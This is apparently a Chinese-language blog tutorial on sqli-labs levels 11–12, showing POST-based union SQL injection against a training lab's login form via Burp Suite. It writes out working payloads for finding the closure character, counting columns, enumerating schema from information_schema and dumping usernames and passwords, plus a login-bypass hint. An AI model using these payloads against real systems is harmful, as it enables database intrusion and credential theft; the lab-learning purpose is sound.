sqli-labs靶場11-12關(基於POST聯合查詢)
1:GET
2:POST
3:Head
4:Put
5:Delete
6:Connect
7:Options
8:Trace
那麼這裡是典型的POST注入,那麼注入點就是在POST資料中,而POST請求往往代表著使用者向伺服器提交了大量的資料請求,行為有包括檔案上傳,表單提交,按鈕時間,這裡分析是使用者的登陸動作,那麼肯定要對輸入的使用者名稱和密碼帶入資料庫進行查詢,接下來我們就把提交的使用者名稱和密碼直接替換成我們的測試語句;
1:這裡我們可以使用burpsuite和hackbar都可以完成測試,這裡我們選擇使用Burpsuite
2:設定的好瀏覽器的代理,輸入賬號密碼,點選提交在BP中進行攔截顯示
表單注入需要掌握的知識點
需要用到burp sutie(抓包改包,暴力破解工具)
https://portswigger.net/burp
//官網
還需要用到的谷歌或者火狐做代理
我們們前10關是基於get型的注入
現在的是post注入
get是通過url傳參
而post的傳參是通過表單,我們們來看一下定義和區別
GET和POST是HTTP請求的兩種基本方法
最直觀的區別就是GET把引數包含在URL中,POST通過request body傳遞引數。
GET在瀏覽器回退時是無害的,而POST會再次提交請求。 GET產生的URL地址可以被Bookmark,而POST不可以。
GET請求會被瀏覽器主動cache,而POST不會,除非手動設定。 GET請求只能進行url編碼,而POST支援多種編碼方式。
GET請求引數會被完整保留在瀏覽器歷史記錄裡,而POST中的引數不會被保留。 GET請求在URL中傳送的引數是有長度限制的,而POST麼有。
對引數的資料型別,GET只接受ASCII字元,而POST沒有限制。
GET比POST更不安全,因為引數直接暴露在URL上,所以不能用來傳遞敏感資訊。 GET引數通過URL傳遞,POST放在Request
body中。
我們掌握了上述知識,我們就開始我們的闖關之旅
第十一關
(基於post的簡單注入點)
原始碼分析
可以看到圖通過post傳參過來的username和password都是用單引號包裹著的
那麼我們猜測是不是他的閉合字元為單引號
那麼我們通過瀏覽器的表單隨便猜一下(抓個包試一下)
看一下抓的包
抓的包如果想要修改包的話,需要傳送到repeater模組
我們看一下響應
看到這個響應的內容我們們爆出的資料庫的內容肯定會出現在這裡
或者我們看一下
直觀上的響應
也會給我們輸入到螢幕上
開搞
一、判斷注入點
1.判斷閉合字元
uname=admin'&passwd=admin&submit=Submit
加了一個單引號
發現報錯了也沒註釋後面的語句
我們們再判斷一下其他的閉合字元
uname=admin"&passwd=admin&submit=Submit
我們們加了一個雙引號,發現沒報錯,證明閉合字元不是雙引號
2.註釋掉後面的語句
uname=admin' and 1=1 --+&passwd=admin&submit=Submit
and 1=1 --+恆為真時,執行成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit
and 1=2 --+恆為假是,執行錯誤,發現注入點是基於單引號的字元型注入
二、判斷欄位
uname=admin' order by 3 --+&passwd=admin&submit=Submit
發現欄位小於3
uname=admin' order by 2 --+&passwd=admin&submit=Submit
發現欄位數只有2
三、構造payload
1.我們們基於第一關的查詢語句構造聯合查詢語句
uname=admin’ &passwd= ' union select 1,2 --+&submit=Submit
由於他只在uname和passwd表單中輸出到螢幕上內容,uname閉合了,所以讓passwd輸出那個查詢哪個語句
構造成功,開始幹
2:我們來查詢相關資料:當前使用者/資料庫名/MySQL程式安裝目錄
uname=admin' &passwd=union select 1,group_concat(user(),@@datadir,database()) --+&submit=Submit
由於看哪個螢幕響應顯示詳細資料不清楚
,我們就換成raw哪個
2.查詢查出哪個庫名下的所有的表名(security)
uname=admin' &passwd=union select 1,group_concat( table_name) from information_schema.tables where table_schema=database() --+&submit=Submit
3.爆表裡面的欄位
uname=admin' &passwd=union select 1,group_concat( column_name) from information_schema.columns where table_name="users" --+&submit=Submit
4.爆欄位裡面的資料
uname=admin' &passwd=union select 1,group_concat( username,'/',password) from users --+&submit=Submit
第十二關
原始碼分析
由於傳參時候進行了兩層過濾,所以他的閉合字元是(“”)
判斷注入點:
uname=admin’ &passwd=a&submit=Submit
我們先輸入錯誤的密碼,發現螢幕什麼都沒有發現
然後我們先判斷一下閉合字元看看報錯效果
單引號和之前的回顯頁面一樣
雙引號報錯
uname=admin"&passwd=a&submit=Submit
註釋一下uname=admin" and 1=1 --+&passwd=a&submit=Submit(恆為真都報錯)
發現回顯還是報錯
證明閉合點可能是基於雙引號的包裹
加一個括號試試
uname=admin") and 1=1 --+&passwd=a&submit=Submit
發現密碼是錯的,回顯都正確了,是不是又有什麼思想了(後臺管理萬能金鑰)
構造payload
uname=admin &passwd=a") union select 1,2 #&submit=Submit
注意:如果passwd上有資料,就要把閉合字元放在第二個傳參的變數上
總結
如果passwd沒有資料,就把閉合字元放在uname上,就是第一個變數上
如果passwd上有資料,就要把閉合字元放在第二個傳參的變數上
相關文章
- 基於聯合查詢的注入
- 多表聯合查詢 - 基於註解SQLSQL
- sqli-labs靶場第二十二關SQL
- 玩一玩sqli-labs靶場SQL
- 基於sqli-labs Less-1的sql聯合注入詳解SQL
- MyBatis基礎:MyBatis關聯查詢(4)MyBatis
- thinkPHP多表聯合查詢PHP
- SQL聯合查詢中的關鍵語法SQL
- 區分關聯子查詢和非關聯子查詢
- exist-in和關聯子查詢-非關聯子查詢
- MyBatis關聯查詢MyBatis
- thinkphp關聯查詢PHP
- jpa動態查詢與多表聯合查詢
- JPA 之 多表聯合查詢
- SQL 三表聯合查詢SQL
- 按月分表聯合查詢
- 01-sql-聯合查詢SQL
- 關於聯合索引,範圍查詢,時間列索引的幾個問題索引
- Mongodb 關聯表查詢MongoDB
- MySQL多表關聯查詢MySql
- JPA多表關聯查詢
- 關聯查詢子查詢效率簡單比照
- Python—Django:關於在Django框架中對資料庫的查詢函式,查詢集和關聯查詢PythonDjango框架資料庫函式
- mysql 三表關聯查詢MySql
- mysql三表關聯查詢MySql
- mysql關聯查詢優化MySql優化
- 關聯子查詢 Correlated Subqueries
- 關聯查詢時使用樹狀查詢要小心
- 模型聯合查詢返回指定欄位模型
- mybatis多表聯合查詢的寫法MyBatis
- 基於pikachu靶場的水平越權詳解
- 關於UPDATE中關聯查詢的執行時間考慮
- Thinkphp5基礎——07 模型(模型關聯——查詢篇)PHP模型
- DVWA靶場通關教程
- 如何做多表關聯查詢
- mysql三張表關聯查詢MySql
- mysql中的多表關聯查詢MySql
- thinkphp中的多表關聯查詢PHP